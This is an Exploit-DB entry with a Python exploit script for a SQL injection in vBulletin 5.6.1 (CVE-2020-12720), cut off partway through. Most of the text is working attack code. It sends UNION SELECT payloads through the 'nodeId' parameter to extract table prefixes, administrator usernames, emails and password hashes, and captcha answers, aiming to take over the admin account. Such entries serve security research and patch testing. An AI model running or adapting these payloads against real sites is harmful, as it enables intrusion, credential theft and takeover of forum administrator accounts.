Exploit-DB #48472
Description: vBulletin 5.6.1 - 'nodeId' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-15
Author: Photubias

Exploit:
# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection
# Date: 2020-05-15
# Exploit Author: Photubias
# Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1
# Version: vBulletin v5.6.x (prior to Patch Level 1)
# Tested on: vBulletin v5.6.1 on Debian 10 x64
# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE

#!/usr/bin/env python3
'''

    
	Copyright 2020 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        File name CVE-2020-12720.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        ##-->> Full creds to @zenofex and @rekter0 <<--##
'''
import urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string

## Static vars; change at will, but recommend leaving as is
sADMINPASS = '12345678'
sCMD = 'id'
sURL = 'http://192.168.50.130/'
sUSERID = '1'
sNEWPASS = '87654321'
iTimeout = 5

## Ignore unsigned certs
ssl._create_default_https_context = ssl._create_unverified_context

## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def randomString(stringLength=8):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))

def getData(sUrl, lData):
    try:
        oData = urllib.parse.urlencode(lData).encode()
        oRequest = urllib.request.Request(url = sUrl, data = oData)
        return oOpener.open(oRequest, timeout = iTimeout)
    except:
        print('----- ERROR, site down?')
        sys.exit(1)

def verifyBug(sURL,sUserid='1'):
    sPath = 'ajax/api/content_infraction/getIndexableContent'
    lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    if not 'cve-2020-12720' in sResponse:
        print('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!')
        return False
    else:
        print('[+] SQLi Success!')
        return True

def takeoverAccount(sURL, sNEWPASS):
    sPath = 'ajax/api/content_infraction/getIndexableContent'
    ### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
    ## Get Table Prefixes
    lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    if 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').replace('language','')
    else: sPrefix = ''
    #print('[+] Got table prefix "'+sPrefix+'"')

    ## Get usergroup ID for "Administrators"
    lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\'Administrators\';--'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    sGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')
    #print('[+] Administrators Group ID: '+sGroupID)
    
    ## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation
    lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    sUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').split('|')
    #print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg)

    ## Let's create a Human Verify Captcha
    sPath = 'ajax/api/hv/generateToken?'
    lData = {'securitytoken':'guest'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    if 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('"','')
    else: sHash = ''

    ## Get the captcha answer from DB
    sPath = 'ajax/api/content_infraction/getIndexableContent'
    lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    if 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"',''))
    else: iAnswers = 1

    lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'}
    sResponse = getData(sURL + sPath, lData).read().decode()
    if 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split